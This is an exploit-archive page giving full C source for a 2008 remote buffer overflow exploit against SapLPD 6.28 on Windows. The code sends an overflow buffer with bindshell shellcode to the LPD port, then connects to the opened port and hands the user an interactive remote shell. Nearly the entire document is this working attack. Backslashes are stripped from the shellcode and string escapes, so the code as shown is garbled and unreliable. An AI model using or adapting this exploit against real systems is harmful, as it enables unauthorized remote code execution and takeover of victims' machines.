[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SapLPD 6.28 Remote Buffer Overflow Exploit (win32)
# Published : 2008-02-07
# Author : BackBone
# Previous Title : Backup Exec System Recovery Manager <= 7.0.1 File Upload Exploit
# Next Title : dBpowerAMP Audio Player Release 2 M3U File Buffer Overflow Exploit


/*
	http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060042.html

	Exploit for SapLPD 6.28 Win32 by BackBone
	Tested with SapLPD 6.28 on Windows XP SP2

	Groetjes aan mijn sletjes Ops,Doop,Gabber,head,ps,sj,dd en de rest!
*/

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")

#define DEFAULT_PORT 515

char ASCII_SHIT[]=
"rn"
"tt   ______              ______rn"  
"tt  (, /   )        /)  (, /   )rn"
"tt    /---(  _   _ (/_    /---(  _____    _rn" 
"tt ) / ____)(_(_(__/(__) / ____)(_) / (__(/_rn"
"tt(_/ (               (_/ (    (c) 2008rn"
"rn";

struct
{
	LPSTR lpVersion;
	DWORD dwOffset;
	DWORD dwRetAddr;
	BYTE  bLPDCmd;
}
targets[]=
{
	// exploit works with cmd 0x01,0x02,0x03,...
	{"SAPLPD Version 6.28 for Windows/NT (TEST)",484,0x0012F0A1,0x01}, // addr of shellcode -> 0x0012F0A1
	{"SAPLPD Version 6.28 for Windows/NT",484,0x004E0BB7,0x01}, // jmp esp 0x004E0BB7 -> SAPLpd.exe 6.28
},v;


// don't change the offset
#define PORT_OFFSET 170
#define BIND_PORT   10282

// bindshell shellcode from www.metasploit.com,mod by skylined
unsigned char shellcode[] =
  "xebx43x56x57x8bx45x3cx8bx54x05x78x01xeax52x8bx52"
  "x20x01xeax31xc0x31xc9x41x8bx34x8ax01xeex31xffxc1"
  "xcfx13xacx01xc7x85xc0x75xf6x39xdfx75xeax5ax8bx5a"
  "x24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01"
  "xe8x5fx5exffxe0xfcx31xc0x64x8bx40x30x8bx40x0cx8b"
  "x70x1cxadx8bx68x08x31xc0x66xb8x6cx6cx50x68x33x32"
  "x2ex64x68x77x73x32x5fx54xbbx71xa7xe8xfexe8x90xff"
  "xffxffx89xefx89xc5x81xc4x70xfexffxffx54x31xc0xfe"
  "xc4x40x50xbbx22x7dxabx7dxe8x75xffxffxffx31xc0x50"
  "x50x50x50x40x50x40x50xbbxa6x55x34x79xe8x61xffxff"
  "xffx89xc6x31xc0x50x50x35x02x01x70xccxfexccx50x89"
  "xe0x50x6ax10x50x56xbbx81xb4x2cxbexe8x42xffxffxff"
  "x31xc0x50x56xbbxd3xfax58x9bxe8x34xffxffxffx58x60"
  "x6ax10x54x50x56xbbx47xf3x56xc6xe8x23xffxffxffx89"
  "xc6x31xdbx53x68x2ex63x6dx64x89xe1x41x31xdbx56x56"
  "x56x53x53x31xc0xfexc4x40x50x53x53x53x53x53x53x53"
  "x53x53x53x6ax44x89xe0x53x53x53x53x54x50x53x53x53"
  "x43x53x4bx53x53x51x53x87xfdxbbx21xd0x05xd0xe8xdf"
  "xfexffxffx5bx31xc0x48x50x53xbbx43xcbx8dx5fxe8xcf"
  "xfexffxffx56x87xefxbbx12x6bx6dxd0xe8xc2xfexffxff"
  "x83xc4x5cx61xebx89";

#define SET_BIND_PORT(p) *(USHORT*)(shellcode+PORT_OFFSET)=htons(p);

BOOL StartupWinsock(void)
{
	WSADATA wsa;

	return !WSAStartup(MAKEWORD(2,0),&wsa);
}

DWORD LookupAddress(LPSTR lpHost)
{
	DWORD dwRemoteAddr=inet_addr(lpHost);

	if (dwRemoteAddr==INADDR_NONE)
	{
		struct hostent* pHostEnt=gethostbyname(lpHost);
		if (pHostEnt==0)
			return INADDR_NONE;
		dwRemoteAddr = *((DWORD*)pHostEnt->h_addr_list[0]);
	}

	return dwRemoteAddr;
}

SOCKET TCPConnect(DWORD dwIP,WORD wPort,DWORD dwTimeout)
{
	struct sockaddr_in sock_in;
	struct timeval timeout;
	DWORD fdWrite[2];
	DWORD fdExcept[2];
	SOCKET s;
	int slResult;
	int val=1,len=sizeof(int);
	
	s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if (s==INVALID_SOCKET)
		return SOCKET_ERROR;

	ioctlsocket(s,FIONBIO,(u_long*)&val);

	fdWrite[0]=fdExcept[0]=1;
	fdWrite[1]=fdExcept[1]=s;

	memset(&sock_in,0,sizeof(sock_in));
	sock_in.sin_port=wPort;
	sock_in.sin_family=AF_INET;
	sock_in.sin_addr.s_addr=dwIP;

	connect(s,(struct sockaddr*)&sock_in,sizeof(sock_in));

	timeout.tv_sec=dwTimeout/1000;
	timeout.tv_usec=dwTimeout%1000;

	slResult=select(0,NULL,(fd_set*)&fdWrite,(fd_set*)&fdExcept,&timeout);
	switch(slResult)
	{
		case -1:
		case 0:
		{
			closesocket(s);
			return SOCKET_ERROR;
		}

		default:
		{
			if (!FD_ISSET(s,(fd_set*)&fdExcept)) 
			{
				val=0;ioctlsocket(s,FIONBIO,(u_long*)&val);
				return s;
			}
			break;
		}
	}

	closesocket(s);
	return SOCKET_ERROR;
}

/* ripped from TESO code and modifed by ey4s for win32 */
void Shell(int s)
{
	int l;
	char buf[512];
	struct timeval time;
	unsigned long ul[2];

	time.tv_sec=1;
	time.tv_usec=0;

	while(1)
	{
		ul[0]=1;
		ul[1]=s;

		l=select(0,(fd_set*)&ul,NULL,NULL,&time);
		if(l==1)
		{
			l=recv(s,buf,sizeof(buf),0);
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
			l=write(1,buf,l);
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
		}
		else
		    {
			l=read(0,buf,sizeof(buf));
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
			l=send(s,buf,l,0);
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
		}
	}
}

void ShowBanner(void)
{
	printf("%s",ASCII_SHIT);
}

void ShowSploit(void)
{
	printf("ttSAPlpd 6.28 Multiple Remote Buffer Overflowsrn");
	printf("tt        Advisory by Luigi Auriemmarn");
	printf("tt           Exploit By BackBonern");
	printf("rn");
}

void ShowUsage(char* argv)
{
	int i;

	printf("[*] %s host/ip[:port] target [bindport]rn",argv);
	printf("[*] Default port: %d - Default bindport: %drn",DEFAULT_PORT,BIND_PORT);
	printf("[*] Target(s):rnrn");
	for (i=0;i<(sizeof(targets)/sizeof(v));i++)
		printf("t%2d: %s (0x%08x)rn",i,targets[i].lpVersion,targets[i].dwRetAddr);
}

int main(int argc, char* argv[])
{
	LPSTR lpHost,lpPort;
	ULONG ulIP;
	USHORT usPort;
	USHORT usBindPort;
	SOCKET sSock;
	int iTarget;
	int iLen=0;
	char lpBuffer[16384];

	ShowBanner();
	ShowSploit();

	// check arguments
	if (argc<3||argc>4)
	{
		ShowUsage(argv[0]);
		return -1;
	}

	// get host/ip
	lpHost=strtok(argv[1],":");
	// get port
	lpPort=strtok(NULL,":");
	if (lpPort)	usPort=(USHORT)atoi(lpPort);
	else usPort=DEFAULT_PORT;

	// startup winsock
	if (!StartupWinsock())
	{
		printf("[-] WSAStartup() Failed.rn");
		return -1;
	}

	// resolve host
	ulIP=LookupAddress(lpHost);
	if (ulIP==INADDR_NONE)
	{
		printf("[-] Invalid IP/Host.rn");
		WSACleanup();
		return -1;
	}

	// get target 
	iTarget=atoi(argv[2]);
	if (iTarget<0||iTarget>(sizeof(targets)/sizeof(v))-1)
	{
		printf("[-] Invalid target.rn");
		WSACleanup();
		return -1;
	}

	printf("[+] Target: %s (0x%08x)rn",targets[iTarget].lpVersion,targets[iTarget].dwRetAddr);

	if (argc==4) usBindPort=(USHORT)atoi(argv[3]);
	else usBindPort=BIND_PORT;
	SET_BIND_PORT(usBindPort);

	// connecting
	printf("[+] Connecting to %d.%d.%d.%d:%d ... ",ulIP&0xFF,(ulIP>>8)&0xFF,
		(ulIP>>16)&0xFF,(ulIP>>24)&0xFF,usPort);

	// connect
	sSock=TCPConnect(ulIP,htons(usPort),10000);
	if (sSock==SOCKET_ERROR)
	{
		printf("Failed!rn");
		WSACleanup();
		return -1;
	}

	printf("Ok.rn");

	// construct buffer
	memset(lpBuffer,0,sizeof(lpBuffer));

	*lpBuffer=targets[iTarget].bLPDCmd;
	iLen+=1;

	memset(lpBuffer+iLen,0x90,targets[iTarget].dwOffset-sizeof(shellcode));
	iLen+=targets[iTarget].dwOffset-sizeof(shellcode);

	memcpy(lpBuffer+iLen,shellcode,sizeof(shellcode));
	iLen+=sizeof(shellcode);

	memcpy(lpBuffer+iLen,&targets[iTarget].dwRetAddr,4);
	iLen+=4;	

	memcpy(lpBuffer+iLen,"xE9x98x08x00x00",5); // jmp esp will execute this code, jmp to shellcode
	iLen+=5;

	memset(lpBuffer+iLen,0x41,1);// saplpd zeroes this byte
	iLen+=1;

	printf("[+] Sending buffer (size:%d) ... ",iLen);

	// send buffer
	if (send(sSock,lpBuffer,iLen,0)<=0)
	{
		printf("Failed!rn");
		WSACleanup();
		return -1;
	}

	printf("Ok.rn");
	
	closesocket(sSock);

	Sleep(1000);

	// connecting
	printf("[+] Connecting to %d.%d.%d.%d:%d ... ",ulIP&0xFF,(ulIP>>8)&0xFF,
		(ulIP>>16)&0xFF,(ulIP>>24)&0xFF,usBindPort);

	// connect to bindshell
	sSock=TCPConnect(ulIP,htons(usBindPort),10000);
	if (sSock==SOCKET_ERROR)
	{
		printf("Failed!rn");
		WSACleanup();
		return -1;
	}

	printf("Ok.rnrn");

	// shell
	Shell(sSock);

	closesocket(sSock);

	WSACleanup();
	
	return 0;
}

// www.Syue.com [2008-02-07]